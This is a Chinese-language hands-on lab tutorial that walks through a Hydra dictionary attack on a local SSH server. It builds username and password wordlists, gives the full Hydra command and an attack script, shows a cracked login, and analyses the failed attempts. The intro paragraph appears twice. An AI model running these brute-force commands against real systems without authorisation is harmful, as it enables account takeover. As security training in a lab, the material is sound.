介绍
在本次实验中,你将学习如何使用强大的密码破解工具 Hydra 对 SSH 服务进行字典攻击。你将探索生成用户名和密码列表、配置攻击参数以及对 SSH 服务器执行有针对性的暴力破解尝试的过程。
本实验让你亲身体验 Hydra 的命令结构、输出解读和结果分析。你将练习验证输入文件、发起攻击,并在了解常见失败模式的同时识别成功的登录凭证。
在本次实验中,你将学习如何使用强大的密码破解工具 Hydra 对 SSH 服务进行字典攻击。你将探索生成用户名和密码列表、配置攻击参数以及对 SSH 服务器执行有针对性的暴力破解尝试的过程。
本实验让你亲身体验 Hydra 的命令结构、输出解读和结果分析。你将练习验证输入文件、发起攻击,并在了解常见失败模式的同时识别成功的登录凭证。
在这一步中,你将准备字典攻击所需的关键组件——用户名和密码列表。字典攻击的原理是系统地尝试预定义列表(字典)中的每个单词作为潜在的凭证。对于 SSH 攻击,我们需要两个单独的文件:一个包含可能的用户名,另一个包含可能的密码。
cd ~/project
usernames.txt 是常规用法,但你也可以使用其他名称:nano usernames.txt
admin
root
user
test
guest
labex
在 nano 中保存文件:按 Ctrl+O(字母 O),然后按 Enter 确认文件名。按 Ctrl+X 退出 nano。这将使你回到命令行。
现在,使用相同的过程创建密码文件。像这样的弱密码在实际系统中出人意料地常见:
nano passwords.txt
password
123456
admin
qwerty
letmein
labex
像之前一样保存并退出 nano(Ctrl+O,Enter,Ctrl+X)。
让我们验证文件是否正确创建。ls -l 命令用于显示文件是否存在,而 cat 命令用于显示文件内容。在继续之前,这是一项重要的质量检查:
ls -l usernames.txt passwords.txt
cat usernames.txt
cat passwords.txt
你应该会看到列出的两个文件及其大小,随后显示它们的内容。这些文件构成了我们字典攻击的基础——在接下来的步骤中,Hydra 将系统地尝试这些列表中的每个用户名/密码组合,对 SSH 服务器进行攻击。
在这一步中,你将配置 Hydra,使用上一步创建的用户名和密码列表对 SSH 进行字典攻击。字典攻击是一种方法,Hydra 会系统地尝试你的词表中的所有可能组合,以找到有效的凭证。
cd ~/project
此命令将你的当前目录更改为我们要进行操作的项目文件夹。
hydra -v
你应该会看到显示已安装的 Hydra 版本的输出。这确认了 Hydra 已准备好使用,并有助于在后续出现问题时进行故障排除。
target.txt 的目标文件,其中包含本地 SSH 服务器的 IP 地址:echo "127.0.0.1" > target.txt
我们使用 127.0.0.1(本地主机)作为目标,因为在这个实验环境中,我们是在针对自己的机器进行测试。
hydra -L <username_list> -P <password_list> <target> ssh
这显示了所需的最少参数:用户名列表(-L)、密码列表(-P)、目标 IP/主机名,以及我们要攻击的服务(ssh)。
hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh
其中:
-L 指定用户名列表文件(usernames.txt)-P 指定密码列表文件(passwords.txt)-t 4 设置并行连接的数量(4 个线程以加快测试速度)-vV 启用详细输出,以便你可以查看攻击进度echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh
创建脚本可以更轻松地重新运行攻击,并确保你不会输错命令。chmod 命令使脚本可执行。
ls -l usernames.txt passwords.txt target.txt attack.sh
这最后的检查确认你拥有所有必要的文件:用户名列表、密码列表、目标文件和攻击脚本。
在这一步中,你将使用之前步骤中准备好的配置来运行 Hydra SSH 字典攻击。Hydra 是一款流行的密码破解工具,它会系统地尝试针对 SSH 等服务使用不同的用户名和密码组合。
cd ~/project
cat attack.sh
你应该会看到我们之前准备的 Hydra 命令,其中包含正确的目标 IP、端口和词表路径。
sudo service ssh status
如果服务未运行,请使用以下命令启动它:
sudo service ssh start
./attack.sh
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... done
[22][ssh] host: 127.0.0.1 login: labex password: labex
1 of 1 target successfully completed, 1 valid password found
./attack.sh > attack_results.txt
在这一步中,你将分析 SSH 字典攻击的结果,以识别成功的登录尝试。在进行安全测试时,在进行进一步分析之前,正确记录和验证你的发现至关重要。
cd ~/project
ls -l 命令会显示详细的文件信息,包括创建时间和权限:ls -l attack_results.txt
> 符号将 Hydra 的输出重定向到一个文本文件,以便后续分析:./attack.sh > attack_results.txt
cat 命令会在你的终端中显示文件的全部内容:cat attack_results.txt
[22][ssh] host: 127.0.0.1 login: labex password: labex
grep 过滤包含 "login:" 的行。这在查看结果时可以节省时间:grep "login:" attack_results.txt
ssh labex@127.0.0.1
如果系统提示你接受主机密钥,请输入 "yes"(首次连接时会出现这种情况),然后在提示时输入密码。
exit
awk 命令将输出重新组织为清晰的带标签字段:grep "login:" attack_results.txt | awk '{print "Host:",$3,"| Username:",$5,"| Password:",$7}'
在这一步中,我们将检查 Hydra SSH 攻击的输出,以了解某些登录尝试失败的原因。分析这些失败信息对于评估系统漏洞的安全专业人员和完善攻击策略的渗透测试人员来说都至关重要。
cd ~/project
cat attack_results.txt
grep 命令有助于筛选出重要的失败信息:grep -v "login:" attack_results.txt | grep -E "invalid|failed|error"
invalid password:用户名正确,但密码不匹配invalid user:目标系统上不存在该用户名connection refused:目标上的 SSH 服务未运行connection timeout:网络问题或防火墙阻止了访问too many connections:目标检测到并阻止了快速登录尝试grep -c "invalid password" attack_results.txt
grep -c "invalid user" attack_results.txt
grep "invalid" attack_results.txt | awk '{print $1}' | uniq -c
echo "Attack Failure Analysis" > failure_analysis.txt
echo "Invalid passwords: $(grep -c 'invalid password' attack_results.txt)" >> failure_analysis.txt
echo "Invalid users: $(grep -c 'invalid user' attack_results.txt)" >> failure_analysis.txt
cat failure_analysis.txt
sudo grep 'sshd' /var/log/auth.log | tail -20
在本次实验中,你学习了如何通过准备用户名和密码列表,使用 Hydra 对 SSH 进行字典攻击。该过程包括创建凭证文件、验证其内容,以及使用适当的标志(-L、-P 和 -t)来构建 Hydra 命令,以实施有效的攻击。
此外,你还探索了如何解读 Hydra 的输出,以识别成功的登录并分析攻击结果。本次实验展示了在 SSH 凭证攻击中,正确的文件准备、命令配置和系统测试的重要性。